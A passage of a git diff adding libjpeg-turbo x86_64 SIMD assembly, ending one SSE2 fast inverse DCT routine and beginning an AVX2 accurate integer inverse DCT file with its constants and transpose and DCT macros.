dword [DWBLOCK(2, 0, rsi, SIZEOF_JCOEF)] + jnz near .columnDCT + + movdqa xmm0, XMMWORD [XMMBLOCK(1, 0, rsi, SIZEOF_JCOEF)] + movdqa xmm1, XMMWORD [XMMBLOCK(2, 0, rsi, SIZEOF_JCOEF)] + por xmm0, XMMWORD [XMMBLOCK(3, 0, rsi, SIZEOF_JCOEF)] + por xmm1, XMMWORD [XMMBLOCK(4, 0, rsi, SIZEOF_JCOEF)] + por xmm0, XMMWORD [XMMBLOCK(5, 0, rsi, SIZEOF_JCOEF)] + por xmm1, XMMWORD [XMMBLOCK(6, 0, rsi, SIZEOF_JCOEF)] + por xmm0, XMMWORD [XMMBLOCK(7, 0, rsi, SIZEOF_JCOEF)] + por xmm1, xmm0 + packsswb xmm1, xmm1 + packsswb xmm1, xmm1 + movd eax, xmm1 + test rax, rax + jnz short .columnDCT + + ; -- AC terms all zero + + movdqa xmm0, XMMWORD [XMMBLOCK(0, 0, rsi, SIZEOF_JCOEF)] + pmullw xmm0, XMMWORD [XMMBLOCK(0, 0, rdx, SIZEOF_ISLOW_MULT_TYPE)] + + movdqa xmm7, xmm0 ; xmm0 = in0 = (00 01 02 03 04 05 06 07) + punpcklwd xmm0, xmm0 ; xmm0 = (00 00 01 01 02 02 03 03) + punpckhwd xmm7, xmm7 ; xmm7 = (04 04 05 05 06 06 07 07) + + pshufd xmm6, xmm0, 0x00 ; xmm6 = col0 = (00 00 00 00 00 00 00 00) + pshufd xmm2, xmm0, 0x55 ; xmm2 = col1 = (01 01 01 01 01 01 01 01) + pshufd xmm5, xmm0, 0xAA ; xmm5 = col2 = (02 02 02 02 02 02 02 02) + pshufd xmm0, xmm0, 0xFF ; xmm0 = col3 = (03 03 03 03 03 03 03 03) + pshufd xmm1, xmm7, 0x00 ; xmm1 = col4 = (04 04 04 04 04 04 04 04) + pshufd xmm4, xmm7, 0x55 ; xmm4 = col5 = (05 05 05 05 05 05 05 05) + pshufd xmm3, xmm7, 0xAA ; xmm3 = col6 = (06 06 06 06 06 06 06 06) + pshufd xmm7, xmm7, 0xFF ; xmm7 = col7 = (07 07 07 07 07 07 07 07) + + movdqa XMMWORD [wk(0)], xmm2 ; wk(0) = col1 + movdqa XMMWORD [wk(1)], xmm0 ; wk(1) = col3 + jmp near .column_end +%endif +.columnDCT: + + ; -- Even part + + movdqa xmm0, XMMWORD [XMMBLOCK(0, 0, rsi, SIZEOF_JCOEF)] + movdqa xmm1, XMMWORD [XMMBLOCK(2, 0, rsi, SIZEOF_JCOEF)] + pmullw xmm0, XMMWORD [XMMBLOCK(0, 0, rdx, SIZEOF_IFAST_MULT_TYPE)] + pmullw xmm1, XMMWORD [XMMBLOCK(2, 0, rdx, SIZEOF_IFAST_MULT_TYPE)] + movdqa xmm2, XMMWORD [XMMBLOCK(4, 0, rsi, SIZEOF_JCOEF)] + movdqa xmm3, XMMWORD [XMMBLOCK(6, 0, rsi, SIZEOF_JCOEF)] + pmullw xmm2, XMMWORD [XMMBLOCK(4, 0, rdx, SIZEOF_IFAST_MULT_TYPE)] + pmullw xmm3, XMMWORD [XMMBLOCK(6, 0, rdx, SIZEOF_IFAST_MULT_TYPE)] + + movdqa xmm4, xmm0 + movdqa xmm5, xmm1 + psubw xmm0, xmm2 ; xmm0 = tmp11 + psubw xmm1, xmm3 + paddw xmm4, xmm2 ; xmm4 = tmp10 + paddw xmm5, xmm3 ; xmm5 = tmp13 + + psllw xmm1, PRE_MULTIPLY_SCALE_BITS + pmulhw xmm1, [rel PW_F1414] + psubw xmm1, xmm5 ; xmm1 = tmp12 + + movdqa xmm6, xmm4 + movdqa xmm7, xmm0 + psubw xmm4, xmm5 ; xmm4 = tmp3 + psubw xmm0, xmm1 ; xmm0 = tmp2 + paddw xmm6, xmm5 ; xmm6 = tmp0 + paddw xmm7, xmm1 ; xmm7 = tmp1 + + movdqa XMMWORD [wk(1)], xmm4 ; wk(1) = tmp3 + movdqa XMMWORD [wk(0)], xmm0 ; wk(0) = tmp2 + + ; -- Odd part + + movdqa xmm2, XMMWORD [XMMBLOCK(1, 0, rsi, SIZEOF_JCOEF)] + movdqa xmm3, XMMWORD [XMMBLOCK(3, 0, rsi, SIZEOF_JCOEF)] + pmullw xmm2, XMMWORD [XMMBLOCK(1, 0, rdx, SIZEOF_IFAST_MULT_TYPE)] + pmullw xmm3, XMMWORD [XMMBLOCK(3, 0, rdx, SIZEOF_IFAST_MULT_TYPE)] + movdqa xmm5, XMMWORD [XMMBLOCK(5, 0, rsi, SIZEOF_JCOEF)] + movdqa xmm1, XMMWORD [XMMBLOCK(7, 0, rsi, SIZEOF_JCOEF)] + pmullw xmm5, XMMWORD [XMMBLOCK(5, 0, rdx, SIZEOF_IFAST_MULT_TYPE)] + pmullw xmm1, XMMWORD [XMMBLOCK(7, 0, rdx, SIZEOF_IFAST_MULT_TYPE)] + + movdqa xmm4, xmm2 + movdqa xmm0, xmm5 + psubw xmm2, xmm1 ; xmm2 = z12 + psubw xmm5, xmm3 ; xmm5 = z10 + paddw xmm4, xmm1 ; xmm4 = z11 + paddw xmm0, xmm3 ; xmm0 = z13 + + movdqa xmm1, xmm5 ; xmm1 = z10(unscaled) + psllw xmm2, PRE_MULTIPLY_SCALE_BITS + psllw xmm5, PRE_MULTIPLY_SCALE_BITS + + movdqa xmm3, xmm4 + psubw xmm4, xmm0 + paddw xmm3, xmm0 ; xmm3 = tmp7 + + psllw xmm4, PRE_MULTIPLY_SCALE_BITS + pmulhw xmm4, [rel PW_F1414] ; xmm4 = tmp11 + + ; To avoid overflow... + ; + ; (Original) + ; tmp12 = -2.613125930 * z10 + z5; + ; + ; (This implementation) + ; tmp12 = (-1.613125930 - 1) * z10 + z5; + ; = -1.613125930 * z10 - z10 + z5; + + movdqa xmm0, xmm5 + paddw xmm5, xmm2 + pmulhw xmm5, [rel PW_F1847] ; xmm5 = z5 + pmulhw xmm0, [rel PW_MF1613] + pmulhw xmm2, [rel PW_F1082] + psubw xmm0, xmm1 + psubw xmm2, xmm5 ; xmm2 = tmp10 + paddw xmm0, xmm5 ; xmm0 = tmp12 + + ; -- Final output stage + + psubw xmm0, xmm3 ; xmm0 = tmp6 + movdqa xmm1, xmm6 + movdqa xmm5, xmm7 + paddw xmm6, xmm3 ; xmm6 = data0 = (00 01 02 03 04 05 06 07) + paddw xmm7, xmm0 ; xmm7 = data1 = (10 11 12 13 14 15 16 17) + psubw xmm1, xmm3 ; xmm1 = data7 = (70 71 72 73 74 75 76 77) + psubw xmm5, xmm0 ; xmm5 = data6 = (60 61 62 63 64 65 66 67) + psubw xmm4, xmm0 ; xmm4 = tmp5 + + movdqa xmm3, xmm6 ; transpose coefficients(phase 1) + punpcklwd xmm6, xmm7 ; xmm6 = (00 10 01 11 02 12 03 13) + punpckhwd xmm3, xmm7 ; xmm3 = (04 14 05 15 06 16 07 17) + movdqa xmm0, xmm5 ; transpose coefficients(phase 1) + punpcklwd xmm5, xmm1 ; xmm5 = (60 70 61 71 62 72 63 73) + punpckhwd xmm0, xmm1 ; xmm0 = (64 74 65 75 66 76 67 77) + + movdqa xmm7, XMMWORD [wk(0)] ; xmm7 = tmp2 + movdqa xmm1, XMMWORD [wk(1)] ; xmm1 = tmp3 + + movdqa XMMWORD [wk(0)], xmm5 ; wk(0) = (60 70 61 71 62 72 63 73) + movdqa XMMWORD [wk(1)], xmm0 ; wk(1) = (64 74 65 75 66 76 67 77) + + paddw xmm2, xmm4 ; xmm2 = tmp4 + movdqa xmm5, xmm7 + movdqa xmm0, xmm1 + paddw xmm7, xmm4 ; xmm7 = data2 = (20 21 22 23 24 25 26 27) + paddw xmm1, xmm2 ; xmm1 = data4 = (40 41 42 43 44 45 46 47) + psubw xmm5, xmm4 ; xmm5 = data5 = (50 51 52 53 54 55 56 57) + psubw xmm0, xmm2 ; xmm0 = data3 = (30 31 32 33 34 35 36 37) + + movdqa xmm4, xmm7 ; transpose coefficients(phase 1) + punpcklwd xmm7, xmm0 ; xmm7 = (20 30 21 31 22 32 23 33) + punpckhwd xmm4, xmm0 ; xmm4 = (24 34 25 35 26 36 27 37) + movdqa xmm2, xmm1 ; transpose coefficients(phase 1) + punpcklwd xmm1, xmm5 ; xmm1 = (40 50 41 51 42 52 43 53) + punpckhwd xmm2, xmm5 ; xmm2 = (44 54 45 55 46 56 47 57) + + movdqa xmm0, xmm3 ; transpose coefficients(phase 2) + punpckldq xmm3, xmm4 ; xmm3 = (04 14 24 34 05 15 25 35) + punpckhdq xmm0, xmm4 ; xmm0 = (06 16 26 36 07 17 27 37) + movdqa xmm5, xmm6 ; transpose coefficients(phase 2) + punpckldq xmm6, xmm7 ; xmm6 = (00 10 20 30 01 11 21 31) + punpckhdq xmm5, xmm7 ; xmm5 = (02 12 22 32 03 13 23 33) + + movdqa xmm4, XMMWORD [wk(0)] ; xmm4 = (60 70 61 71 62 72 63 73) + movdqa xmm7, XMMWORD [wk(1)] ; xmm7 = (64 74 65 75 66 76 67 77) + + movdqa XMMWORD [wk(0)], xmm3 ; wk(0) = (04 14 24 34 05 15 25 35) + movdqa XMMWORD [wk(1)], xmm0 ; wk(1) = (06 16 26 36 07 17 27 37) + + movdqa xmm3, xmm1 ; transpose coefficients(phase 2) + punpckldq xmm1, xmm4 ; xmm1 = (40 50 60 70 41 51 61 71) + punpckhdq xmm3, xmm4 ; xmm3 = (42 52 62 72 43 53 63 73) + movdqa xmm0, xmm2 ; transpose coefficients(phase 2) + punpckldq xmm2, xmm7 ; xmm2 = (44 54 64 74 45 55 65 75) + punpckhdq xmm0, xmm7 ; xmm0 = (46 56 66 76 47 57 67 77) + + movdqa xmm4, xmm6 ; transpose coefficients(phase 3) + punpcklqdq xmm6, xmm1 ; xmm6 = col0 = (00 10 20 30 40 50 60 70) + punpckhqdq xmm4, xmm1 ; xmm4 = col1 = (01 11 21 31 41 51 61 71) + movdqa xmm7, xmm5 ; transpose coefficients(phase 3) + punpcklqdq xmm5, xmm3 ; xmm5 = col2 = (02 12 22 32 42 52 62 72) + punpckhqdq xmm7, xmm3 ; xmm7 = col3 = (03 13 23 33 43 53 63 73) + + movdqa xmm1, XMMWORD [wk(0)] ; xmm1 = (04 14 24 34 05 15 25 35) + movdqa xmm3, XMMWORD [wk(1)] ; xmm3 = (06 16 26 36 07 17 27 37) + + movdqa XMMWORD [wk(0)], xmm4 ; wk(0) = col1 + movdqa XMMWORD [wk(1)], xmm7 ; wk(1) = col3 + + movdqa xmm4, xmm1 ; transpose coefficients(phase 3) + punpcklqdq xmm1, xmm2 ; xmm1 = col4 = (04 14 24 34 44 54 64 74) + punpckhqdq xmm4, xmm2 ; xmm4 = col5 = (05 15 25 35 45 55 65 75) + movdqa xmm7, xmm3 ; transpose coefficients(phase 3) + punpcklqdq xmm3, xmm0 ; xmm3 = col6 = (06 16 26 36 46 56 66 76) + punpckhqdq xmm7, xmm0 ; xmm7 = col7 = (07 17 27 37 47 57 67 77) +.column_end: + + ; -- Prefetch the next coefficient block + + prefetchnta [rsi + DCTSIZE2 * SIZEOF_JCOEF + 0 * 32] + prefetchnta [rsi + DCTSIZE2 * SIZEOF_JCOEF + 1 * 32] + prefetchnta [rsi + DCTSIZE2 * SIZEOF_JCOEF + 2 * 32] + prefetchnta [rsi + DCTSIZE2 * SIZEOF_JCOEF + 3 * 32] + + ; ---- Pass 2: process rows from work array, store into output array. + + mov rdi, r12 ; (JSAMPROW *) + mov eax, r13d + + ; -- Even part + + ; xmm6 = col0, xmm5 = col2, xmm1 = col4, xmm3 = col6 + + movdqa xmm2, xmm6 + movdqa xmm0, xmm5 + psubw xmm6, xmm1 ; xmm6 = tmp11 + psubw xmm5, xmm3 + paddw xmm2, xmm1 ; xmm2 = tmp10 + paddw xmm0, xmm3 ; xmm0 = tmp13 + + psllw xmm5, PRE_MULTIPLY_SCALE_BITS + pmulhw xmm5, [rel PW_F1414] + psubw xmm5, xmm0 ; xmm5 = tmp12 + + movdqa xmm1, xmm2 + movdqa xmm3, xmm6 + psubw xmm2, xmm0 ; xmm2 = tmp3 + psubw xmm6, xmm5 ; xmm6 = tmp2 + paddw xmm1, xmm0 ; xmm1 = tmp0 + paddw xmm3, xmm5 ; xmm3 = tmp1 + + movdqa xmm0, XMMWORD [wk(0)] ; xmm0 = col1 + movdqa xmm5, XMMWORD [wk(1)] ; xmm5 = col3 + + movdqa XMMWORD [wk(0)], xmm2 ; wk(0) = tmp3 + movdqa XMMWORD [wk(1)], xmm6 ; wk(1) = tmp2 + + ; -- Odd part + + ; xmm0 = col1, xmm5 = col3, xmm4 = col5, xmm7 = col7 + + movdqa xmm2, xmm0 + movdqa xmm6, xmm4 + psubw xmm0, xmm7 ; xmm0 = z12 + psubw xmm4, xmm5 ; xmm4 = z10 + paddw xmm2, xmm7 ; xmm2 = z11 + paddw xmm6, xmm5 ; xmm6 = z13 + + movdqa xmm7, xmm4 ; xmm7 = z10(unscaled) + psllw xmm0, PRE_MULTIPLY_SCALE_BITS + psllw xmm4, PRE_MULTIPLY_SCALE_BITS + + movdqa xmm5, xmm2 + psubw xmm2, xmm6 + paddw xmm5, xmm6 ; xmm5 = tmp7 + + psllw xmm2, PRE_MULTIPLY_SCALE_BITS + pmulhw xmm2, [rel PW_F1414] ; xmm2 = tmp11 + + ; To avoid overflow... + ; + ; (Original) + ; tmp12 = -2.613125930 * z10 + z5; + ; + ; (This implementation) + ; tmp12 = (-1.613125930 - 1) * z10 + z5; + ; = -1.613125930 * z10 - z10 + z5; + + movdqa xmm6, xmm4 + paddw xmm4, xmm0 + pmulhw xmm4, [rel PW_F1847] ; xmm4 = z5 + pmulhw xmm6, [rel PW_MF1613] + pmulhw xmm0, [rel PW_F1082] + psubw xmm6, xmm7 + psubw xmm0, xmm4 ; xmm0 = tmp10 + paddw xmm6, xmm4 ; xmm6 = tmp12 + + ; -- Final output stage + + psubw xmm6, xmm5 ; xmm6 = tmp6 + movdqa xmm7, xmm1 + movdqa xmm4, xmm3 + paddw xmm1, xmm5 ; xmm1 = data0 = (00 10 20 30 40 50 60 70) + paddw xmm3, xmm6 ; xmm3 = data1 = (01 11 21 31 41 51 61 71) + psraw xmm1, (PASS1_BITS + 3) ; descale + psraw xmm3, (PASS1_BITS + 3) ; descale + psubw xmm7, xmm5 ; xmm7 = data7 = (07 17 27 37 47 57 67 77) + psubw xmm4, xmm6 ; xmm4 = data6 = (06 16 26 36 46 56 66 76) + psraw xmm7, (PASS1_BITS + 3) ; descale + psraw xmm4, (PASS1_BITS + 3) ; descale + psubw xmm2, xmm6 ; xmm2 = tmp5 + + packsswb xmm1, xmm4 + ; xmm1 = (00 10 20 30 40 50 60 70 06 16 26 36 46 56 66 76) + packsswb xmm3, xmm7 + ; xmm3 = (01 11 21 31 41 51 61 71 07 17 27 37 47 57 67 77) + + movdqa xmm5, XMMWORD [wk(1)] ; xmm5 = tmp2 + movdqa xmm6, XMMWORD [wk(0)] ; xmm6 = tmp3 + + paddw xmm0, xmm2 ; xmm0 = tmp4 + movdqa xmm4, xmm5 + movdqa xmm7, xmm6 + paddw xmm5, xmm2 ; xmm5 = data2 = (02 12 22 32 42 52 62 72) + paddw xmm6, xmm0 ; xmm6 = data4 = (04 14 24 34 44 54 64 74) + psraw xmm5, (PASS1_BITS + 3) ; descale + psraw xmm6, (PASS1_BITS + 3) ; descale + psubw xmm4, xmm2 ; xmm4 = data5 = (05 15 25 35 45 55 65 75) + psubw xmm7, xmm0 ; xmm7 = data3 = (03 13 23 33 43 53 63 73) + psraw xmm4, (PASS1_BITS + 3) ; descale + psraw xmm7, (PASS1_BITS + 3) ; descale + + movdqa xmm2, [rel PB_CENTERJSAMP] ; xmm2 = [rel PB_CENTERJSAMP] + + packsswb xmm5, xmm6 + ; xmm5 = (02 12 22 32 42 52 62 72 04 14 24 34 44 54 64 74) + packsswb xmm7, xmm4 + ; xmm7 = (03 13 23 33 43 53 63 73 05 15 25 35 45 55 65 75) + + paddb xmm1, xmm2 + paddb xmm3, xmm2 + paddb xmm5, xmm2 + paddb xmm7, xmm2 + + ; transpose coefficients(phase 1) + movdqa xmm0, xmm1 + punpcklbw xmm1, xmm3 + ; xmm1 = (00 01 10 11 20 21 30 31 40 41 50 51 60 61 70 71) + punpckhbw xmm0, xmm3 + ; xmm0 = (06 07 16 17 26 27 36 37 46 47 56 57 66 67 76 77) + movdqa xmm6, xmm5 + punpcklbw xmm5, xmm7 + ; xmm5 = (02 03 12 13 22 23 32 33 42 43 52 53 62 63 72 73) + punpckhbw xmm6, xmm7 + ; xmm6 = (04 05 14 15 24 25 34 35 44 45 54 55 64 65 74 75) + + ; transpose coefficients(phase 2) + movdqa xmm4, xmm1 + punpcklwd xmm1, xmm5 + ; xmm1 = (00 01 02 03 10 11 12 13 20 21 22 23 30 31 32 33) + punpckhwd xmm4, xmm5 + ; xmm4 = (40 41 42 43 50 51 52 53 60 61 62 63 70 71 72 73) + movdqa xmm2, xmm6 + punpcklwd xmm6, xmm0 + ; xmm6 = (04 05 06 07 14 15 16 17 24 25 26 27 34 35 36 37) + punpckhwd xmm2, xmm0 + ; xmm2 = (44 45 46 47 54 55 56 57 64 65 66 67 74 75 76 77) + + ; transpose coefficients(phase 3) + movdqa xmm3, xmm1 + punpckldq xmm1, xmm6 + ; xmm1 = (00 01 02 03 04 05 06 07 10 11 12 13 14 15 16 17) + punpckhdq xmm3, xmm6 + ; xmm3 = (20 21 22 23 24 25 26 27 30 31 32 33 34 35 36 37) + movdqa xmm7, xmm4 + punpckldq xmm4, xmm2 + ; xmm4 = (40 41 42 43 44 45 46 47 50 51 52 53 54 55 56 57) + punpckhdq xmm7, xmm2 + ; xmm7 = (60 61 62 63 64 65 66 67 70 71 72 73 74 75 76 77) + + pshufd xmm5, xmm1, 0x4E + ; xmm5 = (10 11 12 13 14 15 16 17 00 01 02 03 04 05 06 07) + pshufd xmm0, xmm3, 0x4E + ; xmm0 = (30 31 32 33 34 35 36 37 20 21 22 23 24 25 26 27) + pshufd xmm6, xmm4, 0x4E + ; xmm6 = (50 51 52 53 54 55 56 57 40 41 42 43 44 45 46 47) + pshufd xmm2, xmm7, 0x4E + ; xmm2 = (70 71 72 73 74 75 76 77 60 61 62 63 64 65 66 67) + + mov rdxp, JSAMPROW [rdi + 0 * SIZEOF_JSAMPROW] + mov rsip, JSAMPROW [rdi + 2 * SIZEOF_JSAMPROW] + movq XMM_MMWORD [rdx + rax * SIZEOF_JSAMPLE], xmm1 + movq XMM_MMWORD [rsi + rax * SIZEOF_JSAMPLE], xmm3 + mov rdxp, JSAMPROW [rdi + 4 * SIZEOF_JSAMPROW] + mov rsip, JSAMPROW [rdi + 6 * SIZEOF_JSAMPROW] + movq XMM_MMWORD [rdx + rax * SIZEOF_JSAMPLE], xmm4 + movq XMM_MMWORD [rsi + rax * SIZEOF_JSAMPLE], xmm7 + + mov rdxp, JSAMPROW [rdi + 1 * SIZEOF_JSAMPROW] + mov rsip, JSAMPROW [rdi + 3 * SIZEOF_JSAMPROW] + movq XMM_MMWORD [rdx + rax * SIZEOF_JSAMPLE], xmm5 + movq XMM_MMWORD [rsi + rax * SIZEOF_JSAMPLE], xmm0 + mov rdxp, JSAMPROW [rdi + 5 * SIZEOF_JSAMPROW] + mov rsip, JSAMPROW [rdi + 7 * SIZEOF_JSAMPROW] + movq XMM_MMWORD [rdx + rax * SIZEOF_JSAMPLE], xmm6 + movq XMM_MMWORD [rsi + rax * SIZEOF_JSAMPLE], xmm2 + + UNCOLLECT_ARGS 4 + lea rsp, [rbp - 8] + pop r15 + pop rbp + ret + ret + +; For some reason, the OS X linker does not honor the request to align the +; segment unless we do this. + align 32 diff --git a/lib/libjpeg-turbo/simd/x86_64/jidctint-avx2.asm b/lib/libjpeg-turbo/simd/x86_64/jidctint-avx2.asm new file mode 100755 index 0000000..e05481f --- /dev/null +++ b/lib/libjpeg-turbo/simd/x86_64/jidctint-avx2.asm @@ -0,0 +1,426 @@ +; +; Accurate integer IDCT (64-bit AVX2) +; +; Copyright 2009 Pierre Ossman for Cendio AB +; Copyright (C) 2009, 2016, 2018, 2020, 2024-2025, D. R. Commander. +; Copyright (C) 2018, Matthias Räncker. +; +; Based on the x86 SIMD extension for IJG JPEG library +; Copyright (C) 1999-2006, MIYASAKA Masaru. +; For conditions of distribution and use, see copyright notice in jsimdext.inc +; +; This file should be assembled with NASM (Netwide Assembler) or Yasm. +; +; This file contains a slower but more accurate integer implementation of the +; inverse DCT (Discrete Cosine Transform). The following code is based +; directly on the IJG's original jidctint.c; see jidctint.c for more details. + +%include "jsimdext.inc" +%include "jdct.inc" + +; -------------------------------------------------------------------------- + +%define CONST_BITS 13 +%define PASS1_BITS 2 + +%define DESCALE_P1 (CONST_BITS - PASS1_BITS) +%define DESCALE_P2 (CONST_BITS + PASS1_BITS + 3) + +%if CONST_BITS == 13 +F_0_298 equ 2446 ; FIX(0.298631336) +F_0_390 equ 3196 ; FIX(0.390180644) +F_0_541 equ 4433 ; FIX(0.541196100) +F_0_765 equ 6270 ; FIX(0.765366865) +F_0_899 equ 7373 ; FIX(0.899976223) +F_1_175 equ 9633 ; FIX(1.175875602) +F_1_501 equ 12299 ; FIX(1.501321110) +F_1_847 equ 15137 ; FIX(1.847759065) +F_1_961 equ 16069 ; FIX(1.961570560) +F_2_053 equ 16819 ; FIX(2.053119869) +F_2_562 equ 20995 ; FIX(2.562915447) +F_3_072 equ 25172 ; FIX(3.072711026) +%else +; NASM cannot do compile-time arithmetic on floating-point constants. +%define DESCALE(x, n) (((x) + (1 << ((n) - 1))) >> (n)) +F_0_298 equ DESCALE( 320652955, 30 - CONST_BITS) ; FIX(0.298631336) +F_0_390 equ DESCALE( 418953276, 30 - CONST_BITS) ; FIX(0.390180644) +F_0_541 equ DESCALE( 581104887, 30 - CONST_BITS) ; FIX(0.541196100) +F_0_765 equ DESCALE( 821806413, 30 - CONST_BITS) ; FIX(0.765366865) +F_0_899 equ DESCALE( 966342111, 30 - CONST_BITS) ; FIX(0.899976223) +F_1_175 equ DESCALE(1262586813, 30 - CONST_BITS) ; FIX(1.175875602) +F_1_501 equ DESCALE(1612031267, 30 - CONST_BITS) ; FIX(1.501321110) +F_1_847 equ DESCALE(1984016188, 30 - CONST_BITS) ; FIX(1.847759065) +F_1_961 equ DESCALE(2106220350, 30 - CONST_BITS) ; FIX(1.961570560) +F_2_053 equ DESCALE(2204520673, 30 - CONST_BITS) ; FIX(2.053119869) +F_2_562 equ DESCALE(2751909506, 30 - CONST_BITS) ; FIX(2.562915447) +F_3_072 equ DESCALE(3299298341, 30 - CONST_BITS) ; FIX(3.072711026) +%endif + +; -------------------------------------------------------------------------- +; In-place 8x8x16-bit inverse matrix transpose using AVX2 instructions +; %1-%4: Input/output registers +; %5-%8: Temp registers + +%macro DOTRANSPOSE 8 + ; %5 = (00 10 20 30 40 50 60 70 01 11 21 31 41 51 61 71) + ; %6 = (03 13 23 33 43 53 63 73 02 12 22 32 42 52 62 72) + ; %7 = (04 14 24 34 44 54 64 74 05 15 25 35 45 55 65 75) + ; %8 = (07 17 27 37 47 57 67 77 06 16 26 36 46 56 66 76) + + ; transpose coefficients(phase 1) + vpermq %5, %1, 0xD8 + ; %5 = (00 10 20 30 01 11 21 31 40 50 60 70 41 51 61 71) + vpermq %6, %2, 0x72 + ; %6 = (02 12 22 32 03 13 23 33 42 52 62 72 43 53 63 73) + vpermq %7, %3, 0xD8 + ; %7 = (04 14 24 34 05 15 25 35 44 54 64 74 45 55 65 75) + vpermq %8, %4, 0x72 + ; %8 = (06 16 26 36 07 17 27 37 46 56 66 76 47 57 67 77) + + ; transpose coefficients(phase 2) + vpunpcklwd %1, %5, %6 + ; %1 = (00 02 10 12 20 22 30 32 40 42 50 52 60 62 70 72) + vpunpckhwd %2, %5, %6 + ; %2 = (01 03 11 13 21 23 31 33 41 43 51 53 61 63 71 73) + vpunpcklwd %3, %7, %8 + ; %3 = (04 06 14 16 24 26 34 36 44 46 54 56 64 66 74 76) + vpunpckhwd %4, %7, %8 + ; %4 = (05 07 15 17 25 27 35 37 45 47 55 57 65 67 75 77) + + ; transpose coefficients(phase 3) + vpunpcklwd %5, %1, %2 + ; %5 = (00 01 02 03 10 11 12 13 40 41 42 43 50 51 52 53) + vpunpcklwd %6, %3, %4 + ; %6 = (04 05 06 07 14 15 16 17 44 45 46 47 54 55 56 57) + vpunpckhwd %7, %1, %2 + ; %7 = (20 21 22 23 30 31 32 33 60 61 62 63 70 71 72 73) + vpunpckhwd %8, %3, %4 + ; %8 = (24 25 26 27 34 35 36 37 64 65 66 67 74 75 76 77) + + ; transpose coefficients(phase 4) + vpunpcklqdq %1, %5, %6 + ; %1 = (00 01 02 03 04 05 06 07 40 41 42 43 44 45 46 47) + vpunpckhqdq %2, %5, %6 + ; %2 = (10 11 12 13 14 15 16 17 50 51 52 53 54 55 56 57) + vpunpcklqdq %3, %7, %8 + ; %3 = (20 21 22 23 24 25 26 27 60 61 62 63 64 65 66 67) + vpunpckhqdq %4, %7, %8 + ; %4 = (30 31 32 33 34 35 36 37 70 71 72 73 74 75 76 77) +%endmacro + +; -------------------------------------------------------------------------- +; In-place 8x8x16-bit accurate integer inverse DCT using AVX2 instructions +; %1-%4: Input/output registers +; %5-%12: Temp registers +; %9: Pass (1 or 2) + +%macro DODCT 13 + ; -- Even part + + ; (Original) + ; z1 = (z2 + z3) * 0.541196100; + ; tmp2 = z1 + z3 * -1.847759065; + ; tmp3 = z1 + z2 * 0.765366865; + ; + ; (This implementation) + ; tmp2 = z2 * 0.541196100 + z3 * (0.541196100 - 1.847759065); + ; tmp3 = z2 * (0.541196100 + 0.765366865) + z3 * 0.541196100; + + vperm2i128 %6, %3, %3, 0x01 ; %6 = in6_2 + vpunpcklwd %5, %3, %6 ; %5 = in26_62L + vpunpckhwd %6, %3, %6 ; %6 = in26_62H + vpmaddwd %5, %5, [rel PW_F130_F054_MF130_F054] ; %5 = tmp3_2L + vpmaddwd %6, %6, [rel PW_F130_F054_MF130_F054] ; %6 = tmp3_2H + + vperm2i128 %7, %1, %1, 0x01 ; %7 = in4_0 + vpsignw %1, %1, [rel PW_1_NEG1] + vpaddw %7, %7, %1 ; %7 = (in0 + in4)_(in0 - in4) + + vpxor %1, %1, %1 + vpunpcklwd %8, %1, %7 ; %8 = tmp0_1L + vpunpckhwd %1, %1, %7 ; %1 = tmp0_1H + vpsrad %8, %8, (16 - CONST_BITS) + ; vpsrad %8, 16 & vpslld %8, CONST_BITS + vpsrad %1, %1, (16 - CONST_BITS) + ; vpsrad %1, 16 & vpslld %1, CONST_BITS + + vpsubd %11, %8, %5 ; %11 = tmp0_1L - tmp3_2L = tmp13_12L + vpaddd %9, %8, %5 ; %9 = tmp0_1L + tmp3_2L = tmp10_11L + vpsubd %12, %1, %6 ; %12 = tmp0_1H - tmp3_2H = tmp13_12H + vpaddd %10, %1, %6 ; %10 = tmp0_1H + tmp3_2H = tmp10_11H + + ; -- Odd part + + vpaddw %1, %4, %2 ; %1 = in7_5 + in3_1 = z3_4 + + ; (Original) + ; z5 = (z3 + z4) * 1.175875602; + ; z3 = z3 * -1.961570560; z4 = z4 * -0.390180644; + ; z3 += z5; z4 += z5; + ; + ; (This implementation) + ; z3 = z3 * (1.175875602 - 1.961570560) + z4 * 1.175875602; + ; z4 = z3 * 1.175875602 + z4 * (1.175875602 - 0.390180644); + + vperm2i128 %8, %1, %1, 0x01 ; %8 = z4_3 + vpunpcklwd %7, %1, %8 ; %7 = z34_43L + vpunpckhwd %8, %1, %8 ; %8 = z34_43H + vpmaddwd %7, %7, [rel PW_MF078_F117_F078_F117] ; %7 = z3_4L + vpmaddwd %8, %8, [rel PW_MF078_F117_F078_F117] ; %8 = z3_4H + + ; (Original) + ; z1 = tmp0 + tmp3; z2 = tmp1 + tmp2; + ; tmp0 = tmp0 * 0.298631336; tmp1 = tmp1 * 2.053119869; + ; tmp2 = tmp2 * 3.072711026; tmp3 = tmp3 * 1.501321110; + ; z1 = z1 * -0.899976223; z2 = z2 * -2.562915447; + ; tmp0 += z1 + z3; tmp1 += z2 + z4; + ; tmp2 += z2 + z3; tmp3 += z1 + z4; + ; + ; (This implementation) + ; tmp0 = tmp0 * (0.298631336 - 0.899976223) + tmp3 * -0.899976223; + ; tmp1 = tmp1 * (2.053119869 - 2.562915447) + tmp2 * -2.562915447; + ; tmp2 = tmp1 * -2.562915447 + tmp2 * (3.072711026 - 2.562915447); + ; tmp3 = tmp0 * -0.899976223 + tmp3 * (1.501321110 - 0.899976223); + ; tmp0 += z3; tmp1 += z4; + ; tmp2 += z3; tmp3 += z4; + + vperm2i128 %2, %2, %2, 0x01 ; %2 = in1_3 + vpunpcklwd %3, %4, %2 ; %3 = in71_53L + vpunpckhwd %4, %4, %2 ; %4 = in71_53H + + vpmaddwd %5, %3, [rel PW_MF060_MF089_MF050_MF256] ; %5 = tmp0_1L + vpmaddwd %6, %4, [rel PW_MF060_MF089_MF050_MF256] ; %6 = tmp0_1H + vpaddd %5, %5, %7 ; %5 = tmp0_1L + z3_4L = tmp0_1L + vpaddd %6, %6, %8 ; %6 = tmp0_1H + z3_4H = tmp0_1H + + vpmaddwd %3, %3, [rel PW_MF089_F060_MF256_F050] ; %3 = tmp3_2L + vpmaddwd %4, %4, [rel PW_MF089_F060_MF256_F050] ; %4 = tmp3_2H + vperm2i128 %7, %7, %7, 0x01 ; %7 = z4_3L + vperm2i128 %8, %8, %8, 0x01 ; %8 = z4_3H + vpaddd %7, %3, %7 ; %7 = tmp3_2L + z4_3L = tmp3_2L + vpaddd %8, %4, %8 ; %8 = tmp3_2H + z4_3H = tmp3_2H + + ; -- Final output stage + + vpaddd %1, %9, %7 ; %1 = tmp10_11L 